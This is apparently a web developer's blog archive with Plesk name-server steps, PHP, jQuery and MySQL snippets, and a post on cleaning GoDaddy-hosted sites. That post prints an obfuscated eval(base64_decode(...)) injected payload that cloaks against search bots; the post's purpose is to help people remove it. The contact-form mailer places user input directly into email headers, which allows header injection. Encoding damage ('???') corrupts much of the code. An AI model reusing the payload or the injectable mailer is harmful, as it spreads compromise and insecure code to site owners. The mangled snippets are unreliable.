Creating Private Name Servers using Plesk

Have you ever wondered how the hosting companies are able to give you one name server of their own for all of your domains? By doing this they allow the client or the user to just be able to their domain registrar and submit that name server, instead of having the client register their own ones for every domain. An example of private name servers is how RackSpace does this, it tells you to point all of your domains to ns.rackspace.com and ns2.rackspace.com instead of doing ns.mydomain.com and ns2.mydomain.com??_ Get it???

Here is what you will need in order to complete this:

  1. Dedicated server with Plesk installed on it
  2. Domain to use as master name server
  3. Access to that domain registrar

Here are the steps that you will need to do in your server in order to set your Private Name Servers:

  1. Log into your Plesk server
  2. Create a new account for the domain you will be using for your global private name servers
  3. Once created, got to DNS Setting
  4. Click on ???Add Record???
  5. Record Type = A, On Enter Domain type ???ns2??_ , on enter IP address type in your secondary IP address (It???s usually one more than your original server IP. If your server ip is 61.55.25.1 then your secondary IP will probably be 61.55.25.2)(Configuration varies with provider)
  6. Click OK
  7. Click on ???Add Record???
  8. Record Type = NS, On Enter Domain Name type ???ns2??_ , on Enter Nameserver type NS2.MYDOMAIN.COM (Where Mydomain.com is replaced by your chosen domain)
  9. Click OK
  10. On your DNS Settings landing page there should already be records for NS.MYDOMAIN.COM, double check. If they do not exist follow the above steps, just replace NS2 with NS.
  11. Once you complete the steps, make sure you have at least 4 records, 2 for NS.MYDOMAIN.COM and 2 for NS2.MYDOMAIN.COM
  12. On your main menu, click on Settings
  13. Click on change Host Name, and where it states Full Hostname enter your chosen domain and click OK
  14. From your server???s home page select DNS Settings. Click on the default NS settings and click on it.
  15. Where it states Enter Nameserver, enter NS.MYDOMAIN.COM, click OK
  16. Click on Add DNS Record and on the Enter Nameserver, type NS2.MYDOMAIN.COM. Record type will be NS.
  17. Server configuration is complete.

After setting your server up, all you need to do is go to your Domain Registrar, and using the Domain Manager register those two name servers and point them to your domain.

Now every time you set up a new domain it will have NS.MYDOMAIN.COM and NS2.MYDOMAIN.COM as name servers. Now you can give this to your client or go to your domain registrar and just change name servers without having to register them again.

??????

Get yourξSan Diego Website Design at a reasonable price. Services include: Web Development, Website Design, iPhone Development, Mobile Development, Cloud Application Development among others.

Send Form Contents to E-Mail

I took the time to do this post because I see a lot of students looking everywhere for a PHP E-Mail script, so here it is:

//Created byξGilbertoξCortez http://www.gilbertocortez.com

//Variables

$form = ???Contact Us???;//Form Name

//Inputs From Form

$name = $_POST[‘name’];

$email = $_POST[’email’];

$phone = $_POST[‘phone’];

$city = $_POST[‘city’];

$comments = $_POST[‘comments’];

//E-Mail Headers

$headers = ???From:???.$email. ???\r\n???;//From E-Mail Header

$headers .= ???Cc:ξdebugg@email.com??? . ???\r\n???;//Debugging E-Mail

$to = ???your@email.com???;//To Address

$subject = ???Message From ???.$form.??? Form???;//Subject Line

//Actual E-Mail Message

$message = ???You received a message from the form named: \???”.$form.???\???:

From: ???.$name.???

E-Mail: ???.$email.???

Phone #: ???.$phone.???

City: ???.$city.???

Comments: ???.$comments.???

???;

//Send E-Mail

mail($to,$subject,$message,$headers);

//Page Re-Direct

header (???Location: thankyou.html???);

Hope you like the script, I added notes to it for easier understanding. Just customize the variables up on top from the fields of your form and for your information. Also remember to add or remove them on the message itself if you change the number or name of the variables.

Any questions or comments are appreciated.

Resize iFrame for 100% Height

Today I was asked to create an iFrame to set up a private reporting system. Well when I tried to make it 100% height, it will only go for about 200px and the rest of the screen will be blank. Well here is the solution for that problem:

<!DOCTYPE html PUBLIC ???-//W3C//DTD XHTML 1.0 Transitional//EN???ξ???http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd???>

<html xmlns=???http://www.w3.org/1999/xhtml???>

<head>

<meta http-equiv=???Content-Type??? content=???text/html; charset=utf-8??_ />

<title>Reputation Managers Reporting System</title>

<script type=???text/javascript??? language=???javascript???>

function resize(){

var w = screen.width;

var h = window.innerHeight ??? 25;

var repsystem = document.getElementById(???repsystem???);

repsystem.height= h;

}

</script>

</head>

<body onload=???resize()??? onresize=???resize()???>

<table height=???100%??? width=???100%???>

<tr><td>

<iframe src=???iframe.php??? id=???repsystem??? height=???480px??? style=???width:100%; border: 0px solid #ffffff;???>

<p>Your browser does not support iframes.</p>

</iframe>

</td></tr></table>

</body>

</html>

Display your last Tweet from Twitter.com

Are you a big Twitter user, and would like to integrate your account into your site? Here is the code to display your last Tweet using the .xml file that is provided by Twitter.

There is only one thing that needs to be changed out. which is the XML file address, you need to input your Twitter ID #. You can get this from clicking on the RSS feed at the bottom of your Twitter Main Page, and extracting this from the URL.

<?php
//Put XML Contents Into Array (PHP.net Function)
function xml2assoc($xml) {
$tree = null;
while($xml->read())
switch ($xml->nodeType) {
case XMLReader::END_ELEMENT: return $tree;
case XMLReader::ELEMENT:
$node = array(‘tag’ => $xml->name, ‘value’ => $xml->isEmptyElement ? ” : xml2assoc($xml));
if($xml->hasAttributes)
while($xml->moveToNextAttribute())
$node[‘attributes’][$xml->name] = $xml->value;
$tree[] = $node;
break;
case XMLReader::TEXT:
case XMLReader::CDATA:
$tree .= $xml->value;
}
return $tree;
}
//Open XML Reading Object
$xml = new XMLReader();
//Open XML File (Replace {id} with your Twitter ID)
$xml->open(‘http://twitter.com/statuses/user_timeline/{id}.xml’);
//Put Document in Arrays
$assoc = xml2assoc($xml);
//Close XML Object
$xml->close();
//Store Result
$lastTweet = $assoc[0][‘value’][0][‘value’][2][‘value’];
//Print Result
echo $lastTweet;
?>
Hope this helps you in your web development. As always, please feel free to leave any comments or suggestions.

MySQL Database Interaction PHP Class

There are many ways out there to connect to a database, but there is only a few of them that are effective. This is the MySQL object that I use to connect to a database via PHP. You will find this class to be simple but very effective as it’s not overfilled, but it only contains what it’s needed in order to compile a successful application. I have used it multiple times in tasks that include from basic user managements to custom cloud application development. From connecting to a single database, to multiple databases.

Here is the code, please make sure to replace the values of the variables so that you can successfully connect to your database.

class db
{
//Object Variables Please Replace, you can also have them set on the constructor so that you can connect to multiple databases.
private $status;
private $host = ‘localhost’;
private $database = ‘db_name’;
private $username = ‘username’;
private $password = ‘password’;
public ξ$result;
public ξ$results;
function __construct(){
//Connect To Database
$this->status = mysql_connect($this->host,$this->username,$this->password) or die (‘Cannot Open Conection to ‘ .
$this->host);
//Select Database
mysql_select_db($this->database,$this->status);
}
function query($sql){
//Get Results
$this->result = ξmysql_query($sql);
}
function fetch($sql,$type){
//Perform Query
$this->query($sql);
switch ($type){
//Fetch as an Array
case ‘array’:
$this->results = mysql_fetch_array($this->result);
break;
//Fetch as an Asspciative Array
case ‘assoc’:
$this->results = mysql_fetch_assoc($this->result);
break;
//Fetch as an Object
case ‘object’:
$this->results = mysql_fetch_object($this->result);
break;
}
//Return Results
return $this->results;
}
function checkit($sql){
//Check Table for Query
return mysql_num_rows(mysql_query($sql));
}
function __destruct(){
//Free Query Result
mysql_free_result($this->result);
//Close DB Connection
mysql_close($this->status);
}
}

Please let any comments, suggestions orξrecommendationsξon the area below.

Simple jQuery Slider

There are many jQuery sliders in the internet but many of them are really hard toξunderstand. This slider is very basic and very easy to change to your specs. Just change the fade effect to the one of your preference and you are set. You can find more information about the different functions at the jQuery website, they have a lot of helpful information there.

Here is the css that you will need to attach:

#slideshow { position:relative; height:323px; z-index:-9999; max-height:323px; }

#slideshow IMG { position:absolute; top:0; left:0; z-index:8; }

#slideshow IMG.active { z-index:10; }

#slideshow IMG.last-active { z-index:9; }

Here is the code for a simple jQuery slider, add this to a .js file and attach it to the page where you will have your slider. However you have to be sure to attach the main jQuery file before this one. I have created this from scratch and used it in many client websites. All you have to do is to put the images on a div with an id and class of ‘slideshow’.

var mainInterval;

var started = false;

var count = 0;



$(function(){

    $('.slideshow img:gt(0)').hide();



	function init() {

		if ( started == false ) {

			mainInterval = setInterval(function(){

			  $('.slideshow :first-child').fadeOut()

				 .next('img').fadeIn()

				 .end().appendTo('.slideshow');},

			  5000);

		}

	}



	$('#nextSlideShow').click(function() {

		count++;

		clearInterval(mainInterval);

		init();

		$('.slideshow :first-child').fadeOut()

			 .next('img').fadeIn()

			 .end().appendTo('.slideshow');

	});



	$('#backSlideShow').click( function() {

		count--;

		clearInterval(mainInterval);

		init();

		$('.slideshow :first-child').fadeOut()

			.next('img').fadeIn()

			.end().appendTo('.slideshow');

	});



	// Stop The Slide Show

	$('#stopSlideShow').click(function() {

		clearInterval(mainInterval);

		started = false;

	});

	init();

});

Here is a sample of how the HTML will look like:

<div id="slideshow">

     <img src="./images/free-simple-slider.jpg" alt="jQuery Slider First Image" />

     <img src="./images/working-this.jpg" alt="Slider Image 2" />

     <img src="./images/thisWouldBeAnotherImage.jpg" alt="Slider Image 3" />

</div>

You can also add a stop, back and next button if you like just use an id of ‘stopSlideShow’ for the stop button; an if of ‘backSlideShow’ for the back button and an if od ‘nextSlideShow’ for the next button.

I hope that this jQuery slider helps you in your project and please leave me any questions or comments down below and I will be more than happy to answer them!

Going Black Against SOPA / PIPA

I will be going black onξWednesdayξJanuary 18, 2012 to protest theξStop Online Piracy Act (SOPA) and the Protect IP Act (PIPA). Along with other sites, my complete website / blog will be temporarily shut down with a 503 HTTP Status code to let the search engines know that the site will be back. I will be reconnecting the website on Thursday and all of the articles on the site will be back and the complete website will be working as normal.

Here is the PHP code that you will need if you wish to make your website black to protest as well, just add the following snippet before your main template file for your CMS or your main header file

<?php

 header('HTTP/1.1 503 Service Temporarily Unavailable');

 header('Status: 503 Service Temporarily Unavailable');

 header('Retry-After: 7200'); // in seconds

?>

After this code you can add any HTML to show users that you are temporarily off. The code above will only let the search engines robots know that you are temporarily down but that you will be back in 7200 seconds. You can change this to your desired time or you can also add a specific date.

As always please leave any comments / concerns or questions online.

Simple jQuery Drop Down Menu

There are many jQuery sliders created already. This is the one that I developed from scratch which only has the minimum needed features to work very light and efficiently on any type of web development project. You will need to have the original jQuery script attached to your page before adding this code and make sure to add all the required code.

Here is the jQuery code that is required:

 

$(document).ready(function () {

$(‘#nav li’).hover(

function () {

//show submenu

$(“ul”, this).slideDown(100); },

function () {

//hide submenu

$(“ul”, this).slideUp(100); } );

});

$(document).ready(function() {

$().piroBox_ext({

piro_speed : 700,

bg_alpha : 0.5,

piro_scroll : true

});

});

Here is the CSS code that is required:

/* submenu, it’s hidden by default display:none; */

.nav li ul { display:none; position:absolute; top:68px; left:30px; margin:0 0 0 -1px; list-style:none; background-color:#0CF; -moz-border-radius: 8px; border-radius: 8px; padding-top:8px; padding-bottom:8px; width:200px; opacity:0.96; }

.nav li ul li { padding-bottom:0px; width:170px; float:left; border-top:1px solid #fff; display:block; font-size:15px; margin-top:5px; margin-left:15px; background:none; padding-left:0px; ; }

.nav li ul li a { text-decoration:none; }

.nav li ul li a:hover { color:#FFF; }

#devNav { position:absolute; left:150px;}

Here is the HTML code that is required:

<ul class=”nav” id=”nav”>

<li><a href=”‘mainNav.php”>Main Navigation Item</a>

<ul class=”subnav”>

<li><a href=”‘submenu1.php”>Sub Menu Item 1</a></li>

<li><a href=”submenu2.php”>Sub Menu Item 2</a></li>

</ul>

</li></ul>

I hope that this simple jQuery slider helps you out in any of your project and as always please feel free to leave any comments or questions in the area below.

Resolve GoDaddy Malware Issue

Hey guys, there has been a virus going around in the GoDaddy server which attacked a large number of domains. The script is encoded in PHP so it is not easily recognizable. If you have this problem just go to your PHP files and find this strip of code and erase it. Because this code is added up top, remember not to leave an empty space in the top of your document or it will give you an error when you try to execute them. If you are using a Search and Replace tool like Dreamweaver, copy the code below in notepad and delete the line brakes. The whole code should only be in one line.

<?php /**/ eval(base64_decode(???aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYha

XNzZXQoJEdMT0JBTFNbJ21yX25vJ10pKXsgICAkR0xPQkFMU1snbXJfbm8nXT0xOyAgI

GlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICAgIGlmKCFmdW5jdGlvbl9leGlzd

HMoJ2dtbCcpKXsgICAgIGZ1bmN0aW9uIGdtbCgpeyAgICAgIGlmICghc3RyaXN0cigkX1

NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sImdvb2dsZWJvdCIpJiYgKCFzdHJpc3RyKCR

fU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSwieWFob28iKSkpeyAgICAgICByZXR1cm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